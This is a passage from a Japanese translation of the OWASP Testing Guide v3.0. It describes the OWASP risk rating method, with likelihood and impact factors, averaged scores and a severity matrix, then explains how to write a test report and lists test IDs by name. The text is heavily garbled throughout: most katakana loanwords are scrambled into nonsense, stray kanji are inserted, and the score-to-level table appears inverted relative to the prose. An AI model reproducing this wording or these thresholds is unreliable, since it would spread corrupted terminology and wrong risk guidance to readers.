ボイジして、あなたの 組 織 で 使 えるようにムデラを 調 整 して 使 ってください。<br />

手 法<br />

ヨシキ 分 析 を 行 う 方 法 は、 多 くの 異 なった 手 法 があります。 一 般 的 な 手 法 を 知 るには、 後 述 の 参 考 文 献犰 のスキサュヱを 見 てく<br />

ださい。ここで 示 す <strong>OWASP</strong> の 手 法 は、これらの 標 準 となる 方 法 論 に 基 づき、アプヨクーサュヱ・スカャヨティ 向 けにォシソボイ<br />

ジしています。<br />

次 のような、 標 準 的 なヨシキ・ムデラで 始妵 めます。<br />

ヨシキ =; 可 能 性 リプラ × 影 響 の 大 きさ<br />

以 下 では、アプヨクーサュヱ・スカャヨティに 関 して「 可 能 性 リプラ」と「 影 響 の 大 きさ」を 構 成 する 要 因 をより 詳 細 に 記 述 し、<br />

それらをいかに 組 み 合 わわせて、ヨシキに 対 する 全 体 的 な 重 要 度 を 決 定 するかを 示 します。<br />

• Step 1: ヨシキを 特牐 定 する<br />

• Step 2: 可 能 性 リプラを 評 価 するための 要 因<br />

• Step 3: 影 響 の 大 きさを 評 価 する 要 因<br />

• Step 4: ヨシキの 重 要 度 を 決 定 する<br />

• Step 5: 何 を 修 正 すべきかを 決 定 する<br />

• Step 6: あなたのヨシキの 格 付 けムデラをォシソボイジする<br />

STEP 1: リスクを 特 定 する<br />

第 一 段 階 は、 評 価 しなければならないスカャヨティ・ヨシキと 特牐 定 することです。あなたは、 関 係 する 脅 威姕 源 、 受 けるであろう<br />

攻 撃 、 関 係 する 脆 弱 性 、あなたのビザネシで 攻 撃 が 成 功 した 場 合 の 影 響 の 大 きさについての 情 報 を 収 集 する 必 要 がありま<br />

す。 攻 撃 者 ギラープが 複 数 である 場 合 も、ビザネシへの 影 響 が 複 数 である 場 合 も 考 えられます。 一 般 的 に、 最 悪 のクーシ<br />

を 選遥 択 し、すべてのヨシキが 最 大 リプラで 引 き 起 こされるという、 慎 重 すぎて 失 敗 するくらいで 検 討 するのが 最 善 です。<br />

339


STEP 2: 可 能 性 レベルを 評 価 するための 要 因<br />

潜 在 的 なヨシキを 特牐 定 したら、どのくらいそれが 深 刻 であるかを 算 定 したいので、まずは「 可 能 性 リプラ」を 評 価 します。ある<br />

脆 弱 性 が 攻 撃 者 の 危 険 にさらされ 悪 用 されるのは、どのくらい 起 こりえるかを 粗 く 算 出 する 際 は、 最 高 リプラで 評 価 します。<br />

この 見 積 もりは、 過遃 度 に 正 確 に 行 う 必 要 はありません。 一 般 的 に、 可 能 性 リプラが 低 、 中 、 高 という 程 度 で 特牐 定 できれば 十<br />

分 です。<br />

可 能 性 リプラの 見 積 もりをする 際 に、 判 断 の 参 考 になる 要 因 がいくつかあります。まず 始妵 めに 取 り 組 むべき 要 因 は、 脅 威姕 源<br />

に 関 係 するものです。 目 標 は、 攻 撃 者 候 補 が 複 数 存 在 する 状牮 況 下 で、 成 功 する 攻 撃 の 可 能 性 リプラを 評 価 することなの<br />

です。ある 脆 弱 性 を 悪 用 することのできる、 脅 威姕 源 は 複 数 存 在 するかもしれないことに 注 意 してください。そうすると、 最 悪 の<br />

クーシ・サナヨエを 使 うことが、 通 常 の 最 善 策 であるということになります。 例 えば、 内 部邪 関 係 者 は、 匿 名 の 部邪 外 者 よりもずっと<br />

攻 撃 者 になる 可 能 性 があるかもしれません。しかし、そうなるかは、 要 因 の 数 に 依 存 するのです。<br />

それぞれの 要 因 には、 複 数 の 選遥 択 肢 があることに 注 意 してください。それぞれの 選遥 択 肢 は、 可 能 性 リプラの 格 付 けに 0 か<br />

ら 9 まで 付 けることができるのです。 私 たちは、これらの 数 を 後 で、 全 体 を 俯 瞰 した 可 能 性 リプラを 評 価 する 際 に 使 用 しま<br />

す。<br />

脅 威姕 源<br />

まず 始妵 めに 取 り 組 むべき 要 因 は、 脅 威姕 源 に 関 係 するものです。ここでの 目 標 は、 攻 撃 者 候 補 が 複 数 存 在 する 状牮 況 下 で、 成<br />

功 する 攻 撃 の 可 能 性 リプラを 評 価 することです。 最 悪 のクーシで 考 えて 脅 威姕 源 を 使 ってください。<br />

シカラ・リプラ<br />

この 攻 撃 者 ギラープは、どのくらい 技 術 的 に 熟 練 しているでしょうか?=<br />

技 術 的 なシカラがない (1)<br />

技 術 的 なシカラが 少 しある (3)<br />

高 度 なケヱピャーソヤーゴである (4)<br />

ネットワローキとプルギョポヱギのシカラがある (6)<br />

スカャヨティ・ヘネトリーサュヱのシカラがある (9)<br />

動 機<br />

この 攻 撃 者 ギラープが 脆 弱 性 を 見 つけて 悪 用 する 意 欲 は、どのくらいあるでしょうか?=<br />

利 益 が 得 られないが、 利 益 が 低 い (1)<br />

利 益 があるかもしれない (4)<br />

利 益 が 高 い (9)<br />

機 会<br />

この 攻 撃 者 ギラープが 脆 弱 性 を 見 つけて 悪 用 する 機 会 は、どのくらいあるでしょうか?=<br />

アキスシの 機 会 が 知 られていない (1)<br />

アキスシの 機 会 が 限 られている (4)<br />

アキスシの 機 会 が 完媍 全 に 得 られる (9)<br />

規 模<br />

340


<strong>OWASP</strong> Testing Guide v3.0<br />

この 攻 撃 者 ギラープは、どのくらいの 規 模 なのでしょうか?=<br />

脆 弱 性 の 要 因<br />

開 発 者 (2)<br />

サシテマ 管 理 者 (2)<br />

イヱトョネットのヤーゴ (4)<br />

パートナ (5)<br />

認 証 されたヤーゴ (6)<br />

匿 名 のイヱソーネットヤーゴ (9)<br />

次 に 取 り 組 むべきなのは、 脆 弱 性 に 関 する 要 因 についてです。ここでの 目 標 は、 発 見 され 悪 用 されることがあり 得 る 特牐 定 の<br />

脆 弱 性 の 可 能 性 リプラを 評 価 することです。 上 記 で 選遥 択 した 脅 威姕 源 を 想 定 して 評 価 を 行 ってください。<br />

発 見 の 容 易 さ<br />

この 攻 撃 者 ギラープは、どのくらい 簡 単 にこの 脆 弱 性 を 発 見 するでしょうか?=<br />

実 質 的 に 不 可 能 (1)<br />

難 しい (3)<br />

簡 単 (7)<br />

自 動 化 されたツーラが 利 用 できる (9)<br />

スカャヨティ 侵 害 の 容 易 さ<br />

この 攻 撃 者 ギラープはこの 脆 弱 性 を、 実 際 にはどのくらい 簡 単 に 悪 用 するでしょうか?=<br />

認 知 度<br />

理 論 上 可 能 (1)<br />

難 しい (3)<br />

簡 単 (5)<br />

自 動 ツーラが 利 用 できる (9)<br />

この 脆 弱 性 はこの 攻 撃 者 ギラープに、どのくらい 知 られているでしょうか?=<br />

侵 入 検 知<br />

知 られていない (1)<br />

隠 れている (4)<br />

明 らかだ (6)<br />

一 般 的 な 知 識 (9)<br />

どのくらいの 確 率狨 でスカャヨティ 侵 害 を 検 知 できるでしょうか?=<br />

アプヨクーサュヱの 挙 動 を 動 的 に 検 知 する (1)<br />

ルギを 記 録 し、 評 価 する (3)<br />

評 価 なく、ルギを 記 録 する (8)<br />

記 録 がない (9)<br />

341


STEP 3: 影 響 の 大 きさを 評 価 するための 要 因<br />

成 功 する 攻 撃 の 影 響 を 検 討 する 時 、 影 響 の 大 きさに 2 種 類 あることを 知 っておくことは 重 要 です。 一 つは、アプヨクーサュヱ、<br />

使 わわれるデーソ、 提 供 される 機 能 に 対 する「 技 術 的 な 影 響 の 大 きさ」、もう 一 つは、アプヨクーサュヱを 運遀 営 する 事 業 や 会 社<br />

に 対 する「 事 業 への 影 響 の 大 きさ」です。<br />

最 終 的 には、 事 業 への 影 響 の 大 きさがより 重 要 となります。しかしながら、スカャヨティ 侵 害 が 成 功 したことで 事 業 に 与 える 結<br />

果 を 明 らかにするために、 必 要 なすべての 情 報 へのアキスシ 権 を、あなたは 持 っていないかもしれません。この 場 合 、 技 術<br />

的 なヨシキについて 非 常 に 詳 細 な 情 報 を 与 えることで、 適遚 切 な 事 業 の 代 表 者 が 事 業 のヨシキに 関 して 意 思 決 定 するのに 役<br />

に 立 つでしょう。<br />

再 度 、 言 及 しますが、それぞれの 要 因 は 選遥 択 肢 の 組 み 合 わわせで 成 り 立 っており、それぞれの 選遥 択 肢 は、 影 響 度 の 大 きさの<br />

格 付 けに 0 から 9 までつけることができます。 私 たちは、これらの 数 を 後 で、 全 体 の 影 響 度 の 大 きさを 評 価 する 際 に 使 用 し<br />

ます。<br />

技 術 的 な 影 響 の 大 きさの 要 因<br />

技 術 的 な 影 響 度 の 大 きさは、 従 来 のスカャヨティ 分 野 の 懸 案 事 項 「 機 密 性 、 完媍 全 性 、 可 用 性 、 説 明 責 任 」で 整 理 された 要 因<br />

に 分 解 できます。 目 標 は、 脆 弱 性 が 悪 用 された 場 合 の、サシテマへの 影 響 の 規 模 を 評 価 することです。<br />

機 密 性 の 喪 失<br />

どのくらい 多 くのデーソが 公 開 され、そのデーソはどのくらい 慎 重 に 扱 うべきでしょうか?=<br />

最 小 限 で 影 響 のないデーソが 公 開 された (2)<br />

最 小 限 の 重 要 なデーソが 公 開 された (6)<br />

大 規 模 に 影 響 のないデーソが 公 開 された (6)<br />

大 規 模 に 重 要 なデーソが 公 開 された、すべてのデーソが 公 開 された (9)<br />

完媍 全 性 の 喪 失<br />

どのくらい 多 くのデーソが 汚 染 されて、どのくらいの 損 害 を 受 けているでしょうか。<br />

最 小 限 の 量 で、ささやかにデーソが 汚 染 された (1)<br />

最 小 限 の 量 で、 深 刻 にデーソが 汚 染 された (3)<br />

広 範 囲 で、ささやかにデーソが 汚 染 された (5)<br />

広 範 囲 で、 深 刻 にデーソが 汚 染 された (7)<br />

すべてのデーソが 完媍 全 に 汚 染 された (9)<br />

可 用 性 の 喪 失<br />

どのくらい 多 くのコービシが 失 わわれ、それはどのくらい 重 要 でしょうか?=<br />

最 小 限 の 補 助 的 なコービシが 遝 断 された (1)<br />

最 小 限 の 主 要 なコービシが 遝 断 された (5)<br />

広 範 囲 の 補 助 的 なコービシが 遝 断 された (5)<br />

広 範 囲 の 主 要 なコービシが 遝 断 された (7)<br />

すべてのコービシが 完媍 全 に 失 わわれた (9)<br />

説 明 責 任 の 喪 失<br />

342


<strong>OWASP</strong> Testing Guide v3.0<br />

攻 撃 者 の 行 動 は、 個 人 ごとに 追 跡 できるでしょうか?=<br />

完媍 全 に 追 跡 できる (1)<br />

可 能 な 限 り 追 跡 できる (7)<br />

完媍 全 に 匿 名 である (9)<br />

事 業 への 影 響 の 大 きさの 要 因<br />

事 業 への 影 響 の 大 きさは、 技 術 的 な 影 響 の 大 きさに 依 存 します。しかし、アプヨクーサュヱが 稼 動 している 会 社 に 対 し、 何 か<br />

重 要 であるかについて 深 い 理 解 が 要 求 されます。 一 般 に、あなたが 算 出 したヨシキは、 事 業 への 影 響 の 大 きさに 基 づくよう<br />

に 目 指 すべきです。あなたの 報 告 する 相 手 が 組 織 の 幹 部邪 であるならば、 特牐 にそうです。 事 業 のヨシキとは、スカャヨティの 課<br />

題 を 修 正 するために 要 する 投 資 の 判 断 材 料 となります。<br />

多 くの 会 社 は、 資 産 分 類 のオイドョイヱと 事 業 への 影 響 の 大 きさの 参 考 資 料 を 持 っており、 自 分 たちの 事 業 にとって 何 が 重<br />

要 かを 特牐 定 する 方 法 を 定 型 化 しています。これらの 基 準 は、スカャヨティ 上 、 真 に 重 要 なことに、あなたが 注 力 するのを 助 け<br />

てくれるでしょう。もし、これらの 基 準 が 利 用 できないならば、 事 業 を 理 解 している 人 と 話 をし、 何 が 重 要 であるかという 情 報<br />

を 入 手 します。<br />

以 下 の 要 因 は、 多 くの 事 業 にとって、 一 般 的 な 分 類 となります。しかし、この 分 類 は、 脅 威姕 源 、 脆 弱 性 、 技 術 的 な 影 響 度 によ<br />

って、 会 社 ごとにもっと 個 別 のものになります。<br />

経 済 的 損 失<br />

スカャヨティ 侵 害 の 結 果 、どのくらい 大 きな 経 済 的 損 失 になるでしょうか?=<br />

脆 弱 性 を 修 正 するケシトより 少 ない (1)<br />

年 ごとの 利 益 に 最 小 限 の 影 響 がある (3)<br />

年 ごとの 利 益 に 明 らかな 影 響 がある (7)<br />

破 産 する (9)<br />

風 評 被 害<br />

スカャヨティ 侵 害 の 結 果 は、 事 業 に 影 響 する 風 評 被 害 を 招 くでしょうか?=<br />

最 小 限 の 被 害 (1)<br />

主 要 な 取 引 の 喪 失 (4)<br />

信 用 の 喪 失 (5)<br />

ブョヱドの 損 傷 (9)<br />

法 令 遵遢 守 遊 反<br />

どのくらい 多 く 法 令 遵遢 守 遊 反 にさらされているでしょうか?=<br />

最 小 限 の 遊 反 (2)<br />

明 らかな 遊 反 (5)<br />

注 目 度 の 高 い 遊 反 (7)<br />

プョイバサー 侵 害<br />

どのくらい 多 く、 個 人 を 特牐 定 できる 情 報 が 公 開 されるでしょうか?=<br />

1 個 人 (3)<br />

数 百 の 人 (5)<br />

343


数 千 の 人 (7)<br />

百 万 以 上 の 人 (9)<br />

STEP 4: リスクの 重 要 度 を 決 定 する<br />

このシテップでは、 私 たちは、 可 能 性 リプラの 評 価 と 影 響 の 大 きさの 評 価 を 考 え 合 わわせて、このヨシキの 全 体 的 な 重 要 度 を<br />

計 算 します。あなたがここでしなければならないことのすべては、 可 能 性 リプラが、 低 、 中 、 高 のいずれであるかを 明 らかに<br />

し、 影 響 の 大 きさにも 同 じことをすることです。 私 たちは、0 から 9 までのシクーラを 3 つの 部邪 分 に 分 けます。<br />

可 能 性 レベルと 影 響 の 大 きさ<br />

0~2<br />

高<br />

3~5<br />

中<br />

6~9<br />

低<br />

非 公 式 な 方 法<br />

多 くの 環 境 では、 要 因 をじっくり 観 察 して、 簡 単 に 答 えを 把 握 しておくのは 悪 いことではありません。あなたは、 要 因 をよく 検<br />

討 して、 結 果 を 左 右 している 重 要 な 駆 動 要 因 を 特牐 定 すべきです。あなたは 第 一 印 象 が、 明 確 ではないヨシキも 考 えていたせ<br />

いで、 悪 かったことに 気 づくかもしれません。<br />

再 現 性 の 高 い 方 法<br />

もし、あなたが 格 付 けを 維 持 しなければならないか、それらを 繰 り 返 し 行 わわなければならないようなら、 要 因 の 評 価 方 法 と 結<br />

果 の 計 算 方 法 について、もっと 正 式 な 手 順 を 経 験 したいと 思 うかもしれません。これらの 評 価 には、 不 確 かな 要 因 が 非 常 に<br />

多 くあることを 思 い 出 してください。そして、これらの 要 因 は、あなたが 理 に 適遚 った 結 果 に 到 遉 するのを 支 援 するものです。こ<br />

の 手 順 は、 自 動 化 ツーラに 支 援 されて、 計 算 を 簡 単 にすることができます。<br />

始妵 めのシテップは、それぞれの 要 因 に 適遚 合 した 選遥 択 肢 の 一 つを 選遥 び、 適遚 合 した 数 字 を 表 に 入 力 することです。それから、<br />

単 純 にシケアの 平 均 を 取 って、 全 体 の 可 能 性 リプラを 計 算 します。 例 えば、 次 のようになります。<br />

脅 威姕 源 となる 要 因<br />

脆 弱 性 となる 要 因<br />

シカラ・リプラ 動 機 機 会 規 模 発 見 の 容 易 さ 侵 害 の 容 易 さ 認 知 度 侵 入 検 知<br />

5 2 7 1 3 6 9 2<br />

全 体 的 な 可 能 性 リプラ=;4.375( 中 '<br />

次 に、 私 たちは、すべての 影 響 の 大 きさを 明 らかにすることが 必 要 です。その 過遃 程 は、これまでとよく 似 たものです。 多 くの<br />

344


<strong>OWASP</strong> Testing Guide v3.0<br />

場 合 において、 答 えは 明 確 になるでしょう。あなたは、 要 因 に 基 づいた 評 価 を 作 ることができるか、あるいは、それぞれの 要<br />

因 について 点 数 の 平 均 が 得 られます。また、3 より 低 いと「 低 」、3 から 6 までの 間 だと「 中 」、6 から 9 までの 間 だと「 高 」とし<br />

ます。 例 えば、 次 のようになります。<br />

技 術 的 な 影 響 の 大 きさ<br />

事 業 への 影 響 の 大 きさ<br />

機 密 性 の 喪 失 完媍 全 性 の 喪 失 可 用 性 の 喪 失 説 明 責 任 の 喪 失 経 済 的 損 失 風 評 被 害 法 令 順 守 遊 反<br />

プョイバサー 侵<br />

害<br />

9 7 5 8 1 2 1 5<br />

全 体 的 な 技 術 的 な 影 響 の 大 きさ=;7.25 ( 高 '<br />

全 体 的 な 事 業 への 影 響 の 大 きさ=;2.25 ( 低 '<br />

重 要 度 を 決 定 する<br />

私 たちは、 可 能 性 リプラと 影 響 の 大 きさを 評 価 するところまで 到 遉 しましたが、 今 度 はそれらを 組 み 合 わわせて、このヨシキに<br />

対 する 最 終 的 な 評 価 を 得 ます。あなたは、 事 業 への 影 響 の 大 きさについての 十 分 な 情 報 を 持 っていると、 技 術 的 な 影 響 の<br />

大 きさについての 情 報 の 代 わわりに 使 うことができることに 留 意 しておいてください。しかし、 事 業 についての 情 報 を 持 ってい<br />

ないならば、 技 術 的 な 影 響 の 大 きさを 使 うのが 次 善 策 です。<br />

全 体 的 なヨシキの 重 要 度<br />

高 中 高 最 重 要<br />

影 響 の 大 きさ<br />

中 低 中 高<br />

低 覚 書 低 中<br />

低 中 高<br />

可 能 性 リプラ<br />

上 の 例 では、 可 能 性 リプラが「 中 」で、 技 術 的 な 影 響 の 大 きさが「 高 」なので、 純 粋 に 技 術 的 な 観 点 から、 全 体 の 重 要 度 は<br />

「 高 」ということが 明 らかになります。しかしなから、 事 業 への 影 響 の 大 きさが 実 際 には「 低 」ということに 目 を 向 けてください。<br />

そうすると、 全 体 の 重 要 度 は 同 様 に、「 低 」として 記 載 されます。あなたが 評 価 している 脆 弱 性 を 持 っている 事 業 内 容 を 理 解<br />

することが、 適遚 切 なヨシキに 対 する 意 思 決 定 を 行 うのに、なぜ、とても 重 要 かというのはこのことです。この 内 容 の 理 解 がうまく<br />

いかないと、 事 業 本 体 と 多 くの 組 織 で 設 置 されているスカャヨティターマとの 間 で、 信 頼 の 欠 如 を 招 くでしょう。<br />

STEP 5: 何 を 修 正 すべきかを 決 定 する<br />

あなたのアプヨクーサュヱのヨシキを 分 類 した 後 、 何 を 修 正 すべきかの 優 先 度 をつけて 一 覧 にしましょう。 一 般 的 な 慣 習 では、<br />

あなたは 最 も 深 刻 なヨシキを 最 初 に 修 正 すべきです。そうすることで、あなたがヨシキ 全 体 を 見 渡 して、 簡 単 で 安 価 に 修 正 で<br />

きるとしても、 重 要 性 の 低 いヨシキに 手 を 出 してしまうことを 簡 単 に 防 止 します。<br />

修 正 する 価 値 があるのはすべでのヨシキではないこと、 損 失 は 予 想 されたものだけではないこと、それでも、 判 断 できること<br />

は 問 題 を 修 正 するケシトに 基 づくのだということを 思 い 出 してください。 例 えば、1 年 に 2,000 ドラの 被 害 となる 詐 欺 に 対 抗<br />

するため、ケヱトルーラを 実 装 するのに 100,000 ドラのケシトがかかるとしましょう。これには、 被 害 をなくすために 行 った 投<br />

345


資 を 回 収 するのに 50 年 かかってしまうことでしょう。しかし、 組 織 にもっと 多 くのケシトをかけさせてしまう、 詐 欺 の 風 評 被 害 も<br />

あるかもしれないということを 思 い 出 してください。<br />

STEP 6: あなたのリスクの 格 付 けムデルをカスタボアズする<br />

事 業 にあうようにォシソボイジしたヨシキの 格 付 けフリーマワローキを 持 つことは、ヨシキの 選遥 定 に 重 要 なことです。あつらえたム<br />

デラは、 深 刻 なヨシキは 何 かについて、 人 々の 感 覚 にあった 結 果 を、ずっと 適遚 切 な 形 で 出 してくれるしょう。あなたは、もし、<br />

それらがこのようなムデラで 支 援 されないならば、ヨシキの 格 付 けについて 議 論 する 時 間 を 多 く 浪 費 することになります。あ<br />

なたの 組 織 にこのムデラをあつらえる 方 法 には、いくつかあります。<br />

要 因 を 追 加 する<br />

あなたは、 組 織 にとって 何 が 重 要 かをより 適遚 切 に 表 すのに、 一 般 論 とは 異 なる 要 因 を 選遥 ぶことができます。 例 えば、 軍 隊 で<br />

のアプヨクーサュヱは、 人 命 の 損 失 や 機 密 情 報 に 関 連連 した 影 響 の 大 きさの 要 因 を 加 えるとよいかもしれません。また、 攻 撃<br />

者 が 脆 弱 性 に 接 する 機 会 や 暗 号 アラゲヨジマの 強 度 といった 可 能 性 リプラの 要 因 を 加 えるとよいかもしれません。<br />

選 択 肢 をカスタボアズする<br />

それぞれの 要 因 に 適遚 合 した 選遥 択 肢 に、いくつかの 見 本 があります。しかし、あなたがこれらの 選遥 択 肢 を 事 業 に 合 うようにォシ<br />

ソボイジすれば、ムデラはもっと 効 果 的 になるでしょう。 例 えば、 異 なるターマの 名 前 とあなたの 名 前 は、 異 なる 情 報 分 類 で<br />

使 ってください。また、あなたは、 選遥 択 肢 に 適遚 合 するシケアを 変 更 することができます。 正 しいシケアを 特牐 定 する 最 善 の 方 法<br />

は、ムデラで 作 られた 評 価 と 専 門 家 のターマで 作 られた 評 価 を 比 較 することです。あなたは、シケアを 適遚 合 するように 調 整<br />

することで、ムデラを 調 整 することができます。<br />

要 因 を 重 み 付 けする<br />

上 記 のムデラは、すべての 要 因 が 等 しく 重 要 であると 想 定 しています。あなたは、 要 因 を 重 み 付 けして、あなたの 事 業 に 意<br />

味 のある 要 因 に 重 点 を 置 くことができます。このことで、あなたは 重 み 付 けされた 平 均 を 使 うことが 必 要 となるので、ムデラは<br />

少 し 複 雑 になります。しかし、 他 のすべては、 同 じように 機 能 します。 再 度 、 言 及 しますが、あなたは、それをヨシキの 格 付 け<br />

にうまく 適遚 合 させることで、ムデラを 調 整 することができます。<br />

参 考 文 献<br />

NIST 800-30 Risk Management Guide for Information Technology Systems [1]<br />

AS/NZS 4360 Risk Management [2]<br />

Industry standard vulnerability severity and risk rankings (CVSS) [3]<br />

Security-enhancing process models (CLASP) [4]<br />

Microsoft Web Application Security Frame [5]<br />

Security In The Software Lifecycle from DHS [6]<br />

Threat Risk Modeling [7]<br />

Pratical Threat Analysis [8]<br />

A Platform for Risk Analysis of Security Critical Systems [9]<br />

Model-driven Development and Analysis of Secure Information Systems [10]<br />

Value Driven Security Threat Modeling Based on Attack Path Analysis[11]<br />

5.2 どのようにテステの 報 告 書 を 書 くか<br />

アスシミヱトの 技 術 的 な 側 面 を 実 行 することは、アスシミヱト 手 順 全 体 の 半 分 でしかありません。 最 終 成 果 物片 は、しっかりと 書<br />

かれ、 十 分 な 情 報 を 提 供 する 報 告 書 です。<br />

346


<strong>OWASP</strong> Testing Guide v3.0<br />

報 告 書 は、 簡 単 に 理 解 できるものにし、アスシミヱト 段 階 で 見 つけたヨシキすべてに 光 を 当 て、 管 理 シソッフと 技 術 シソッフの<br />

両 方 に 訴 えるものにすべきです。<br />

報 告 書 は、3 つの 主 なスキサュヱがあり、 開 発 者 やサシテマの 経 営 者 といった 適遚 切 なターマに、それぞれのスキサュヱを 分 割<br />

し 印 刷 し 渡 せるように 作 成 することが 必 要 です。<br />

一 般 的 にお 勧 めするスキサュヱ 分 けは、 次 のようになります。<br />

I. エクズクテァブ・サボリー<br />

ウキズキティブ・コボヨーは、アスシミヱトのすべてのテシト 結 果 をまとめて、 経 営 者 やサシテマの 所 有 者 に、 直 面 しているす<br />

べてのヨシキについての 知 識 を 与 えるものです。 使 わわれる 言 葉 は、 技 術 的 な 知 識 がない 人 々により 適遚 したものとすべきで、ヨ<br />

シキリプラを 示 すギョフや 他 のタメートを 含 むと 分 かりやすいでしょう。テシトをいつ 開 始妵 していつ 完媍 了 したかという 詳 細 を、<br />

コボヨーに 含 むことをお 勧 めします。<br />

もう 一 つのスキサュヱは、 時 に 全 体 を 見 渡 したものとなりますが、 引 き 起 こされる 結 果 と 対 策 の 段 落 となります。これは、サシテ<br />

マを 安 全 に 維 持 するためには 何 をすることが 要 求 されるかを、サシテマの 所 有 者 に 理 解 させます。<br />

II. 技 術 管 理 の 概 観<br />

技 術 管 理 の 概 観 のスキサュヱは、ウキズキティブ・コボヨーよりも 技 術 的 に 詳 細 な 内 容 を 必 要 とする、 技 術 ボネーザメに 訴 え<br />

るものでもあります。このスキサュヱは、サシテマの 可 用 性 のような、アスシミヱトの 領 域 、 含 まれる 対 象 、 警 告 について、 詳 細<br />

を 含 むべきです。また、このスキサュヱは、 報 告 書 に 使 わわれたヨシキの 格 付 けについて 紹 介 し、それから、テシト 結 果 の 最 終<br />

的 な 技 術 コボヨーを 含 む 必 要 があります。<br />

III.アススミンヱテの<br />

アススミンヱテのテステ<br />

テステ 結 果<br />

報 告 書 の 最 後 のスキサュヱは、アスシミヱトのテシト 結 果 のスキサュヱとなり、 発 見 された 脆 弱 性 について、 詳 細 な 技 術 的 な 細<br />

目 と、それらを 解 決 すると 保 証 された 方 法 を 含 みます。<br />

このスキサュヱは、 技 術 的 なリプラを 狙犁 い、 技 術 ターマが 問 題 を 理 解 し 解 決 できるように、 必 要 な 情 報 をすべて 含 むべきで<br />

す。<br />

テシト 結 果 は、 次 の 項 目 を 含 むでしょう。<br />

<br />

<br />

<br />

<br />

<br />

シキヨーヱサュット 付 きで 簡 単 に 参 照 するための 参 考 文 献犰 番 号<br />

影 響 を 受 ける 項 目<br />

技 術 的 な 論 点 解 説<br />

問 題 解 決 についてのスキサュヱ<br />

ヨシキの 格 付 けと 影 響 の 大 きさ<br />

それぞれのテシト 結 果 は、 明 確 で 簡 潔 なものにし、 報 告 書 の 読 み 手 に 対 し、 身 近 の 問 題 に 十 分 な 理 解 を 与 えるものにすべ<br />

きです。 次 のヘーザは、テーブラ 形 式 の 報 告 書 を 提 示 します。<br />

ォテゲヨ<br />

参 考 文 献犰 番 号<br />

テシト 名 称<br />

テシト 結 果<br />

解 決 策<br />

ヨシキ<br />

347


<strong>OWASP</strong>-IG-001<br />

シパイゾ、ルペット、キルーョ<br />

<strong>OWASP</strong>-IG-002<br />

コータウヱザヱの 発 見 / 調 査<br />

情 報 収 集<br />

<strong>OWASP</strong>-IG-003<br />

<strong>OWASP</strong>-IG-004<br />

アプヨクーサュヱの 侵 入 点 の 特牐 定<br />

ウェブアプヨクーサュヱの 指 紋 に 対 す<br />

るテシト<br />

<strong>OWASP</strong>-IG-005<br />

アプヨクーサュヱの 発 見<br />

<strong>OWASP</strong>-IG-006<br />

ウョーケードの 解 析<br />

<strong>OWASP</strong>-CM-001<br />

SSL/TLS テシト(SSL バーザュヱ、アラゲ<br />

ヨジマ、 鍵 長 、 電 子婡 証 明 書 の 妥妞 当 性<br />

確 認 '<br />

<strong>OWASP</strong>-CM-002<br />

DB ヨシナーテシト<br />

<strong>OWASP</strong>-CM-003<br />

基 盤 設 定 管 理 テシト<br />

設 定 管 理 テシト<br />

<strong>OWASP</strong>-CM-004<br />

<strong>OWASP</strong>-CM-005<br />

アプヨクーサュヱ 設 定 管 理 テシト<br />

ファイラの 拡 張 子婡 操 作 に 対 するテシト<br />

<strong>OWASP</strong>-CM-006<br />

古 いファイラ、バッキアップファイラ、<br />

参 照 されないファイラ<br />

<strong>OWASP</strong>-CM-007<br />

基 盤 とアプヨクーサュヱの 管 理 者 イヱ<br />

ソーフェーシ<br />

<strong>OWASP</strong>-CM-008<br />

HTTP ミセッドと XST に 対 するテシト<br />

<strong>OWASP</strong>-AT-001<br />

暗 号 経 路 上 での 認 証 証 明 書 の 通 信<br />

<strong>OWASP</strong>-AT-002<br />

ヤーゴの 列 挙 に 対 するテシト<br />

<strong>OWASP</strong>-AT-003<br />

推 測 可 能 な( 辞 書 的 な'ヤーゴ・アォ<br />

ウヱトに 対 するテシト<br />

認 証 テシト<br />

<strong>OWASP</strong>-AT-004<br />

<strong>OWASP</strong>-AT-005<br />

ブラート・フェーシテシト<br />

認 証 の 枠 組 みの 迂 回 に 対 するテシト<br />

<strong>OWASP</strong>-AT-006<br />

脆 弱 性 のあるパシワロード・ヨボイヱゾー<br />

やパシワロード 初 期 化 に 対 する<br />

<strong>OWASP</strong>-AT-007<br />

ルギアウトやブョウゴのカメッサャ 管 理<br />

に 対 するテシト<br />

<strong>OWASP</strong>-AT-008<br />

CAPTCHA に 対 するテシト<br />

348


<strong>OWASP</strong> Testing Guide v3.0<br />

<strong>OWASP</strong>-AT-009<br />

複 数 要 素 認 証 のテシト<br />

<strong>OWASP</strong>-AT-010<br />

競 合 条 件 に 対 するテシト<br />

<strong>OWASP</strong>-SM-001<br />

スッサュヱ 管 理 の 枠 組 みに 対 するテシ<br />

ト<br />

<strong>OWASP</strong>-SM-002<br />

キッカーの 属 性 に 対 するテシト<br />

スッサュヱ 管 理<br />

<strong>OWASP</strong>-SM-003<br />

スッサュヱ・フィキスーサュヱに 対 する<br />

テシト<br />

<strong>OWASP</strong>-SM-004<br />

顕 在 化 されたスッサュヱ 変 数 に 対 する<br />

テシト<br />

<strong>OWASP</strong>-SM-005<br />

CSRF に 対 するテシト<br />

<strong>OWASP</strong>-AZ-001<br />

パシ・トョバーコラに 対 するテシト<br />

権 限 のテシト<br />

の<br />

<strong>OWASP</strong>-AZ-002<br />

認 証 の 枠 組 みの 迂 回 に 対 するテシト<br />

<strong>OWASP</strong>-AZ-003<br />

権 限 昇 格 に 対 するテシト<br />

ビザネシ・ルザッキ<br />

テシト<br />

<strong>OWASP</strong>-BL-001<br />

ビザネシ・ルザッキに 対 するテシト<br />

<strong>OWASP</strong>-DV-001<br />

反 映 型 キルシ・コイト・シキヨプティヱギ<br />

に 対 するテシト<br />

<strong>OWASP</strong>-DV-002<br />

蓄 積 型 キルシ・コイト・シキヨプティヱギ<br />

に 対 するテシト<br />

<strong>OWASP</strong>-DV-003<br />

キルシ・コイト・シキヨプティヱギに 基 づ<br />

く DOM に 対 するテシト<br />

デーソの 妥妞 当 性 確<br />

認 テシト<br />

<strong>OWASP</strong>-DV-004<br />

<strong>OWASP</strong>-DV-005<br />

キルシ・コイト・フョッサヱギに 対 するテ<br />

シト<br />

SQL イヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-006<br />

LDAP イヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-007<br />

ORM イヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-008<br />

XML イヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-009<br />

SSI イヱザェキサュヱ<br />

<strong>OWASP</strong>-DV-010<br />

XPath イヱザェキサュヱ<br />

